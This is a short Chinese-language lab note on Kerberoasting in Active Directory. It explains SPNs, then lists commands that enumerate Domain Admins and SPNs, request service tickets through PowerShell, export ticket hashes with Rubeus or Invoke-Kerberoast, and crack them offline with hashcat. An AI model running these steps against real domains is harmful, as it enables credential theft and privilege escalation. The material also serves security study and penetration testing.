一、简介
1.1 攻击流程
- kerberosating是一种基于Kerberos协议,利用SPN机制签发ST,取得票据后,对票据进行离线破解以此取得SPN所关联账户的明文密码的机制。
1.2 SPN
-
SPN(ServicePrincipal Names)是一个服务实例的唯一标识符,kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。
-
换言之,就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。
-
SPN示例:
- 格式:
<serviceclass>/<host>:<port>/<service name>
- 远程桌面服务:
TERMSRV/WIN-DO4J60BDGU8.tech.com
- LDAP服务:
ldap/DC/tech.com
- 格式:
-
对账户设置SPN
setspn -S test/test.tech.com privilege
二、攻击
2.1 利用流程
- 查看域内特权账户==>找到这些特权账户的SPN==>利用SPN主动申请ST==>将票据导出==>离线破解==>取得关联账户明文密码
2.2 探查域内特权账户
- 使用普通域内账户即可开始攻击
- 查询域管账户:
net groups "Domain Admins" /domain
2.3 找到这些特权账户的SPN
- 查询域内所有的SPN
setspn -q */*
2.4 利用SPN主动申请ST
- 根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据。
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "test/test.tech.com"
- 注意:
- 因为这里使用的是自身的普通账户请求的票据,所以没法直接采用PTT的方式使用票据的关联特权账户权限
2.5 票据利用
2.5.1 方式1
-
依赖工具:
- 导出票据:Invoke-Kerberoast.ps、Rubeus.exe
- 离线破解:hashcat
-
导出票据hash(二种工具任一种即可)
Rubeus.exe kerberoast
Invoke-Kerberoast.ps1
- 这里我上一天执行的时侯还是OK的,今天再复现就出现了异常~~~,就盗图了哈
PS C:\> Import-module .\Invoke-Kerberoast.ps1
PS C:\> Invoke-kerberoast -outputformat hashcat |fl
正常情况 | 异常情况 |
---|---|
![]() | ![]() |
- 离线破解:
hashcat -m 13100 hash2.txt passwd.txt -o found.txt --force
- 注:hash2.txt是前线取得的hash值,注意将其转为单行!否则不符合格式
2.5.2 方式2(未成功复现,kerberos依赖较麻烦)
- 依赖工具:
- 导出票据:mimikatz
- 离线破解:tgsrepcrack.py(环境依赖较为麻烦~~~)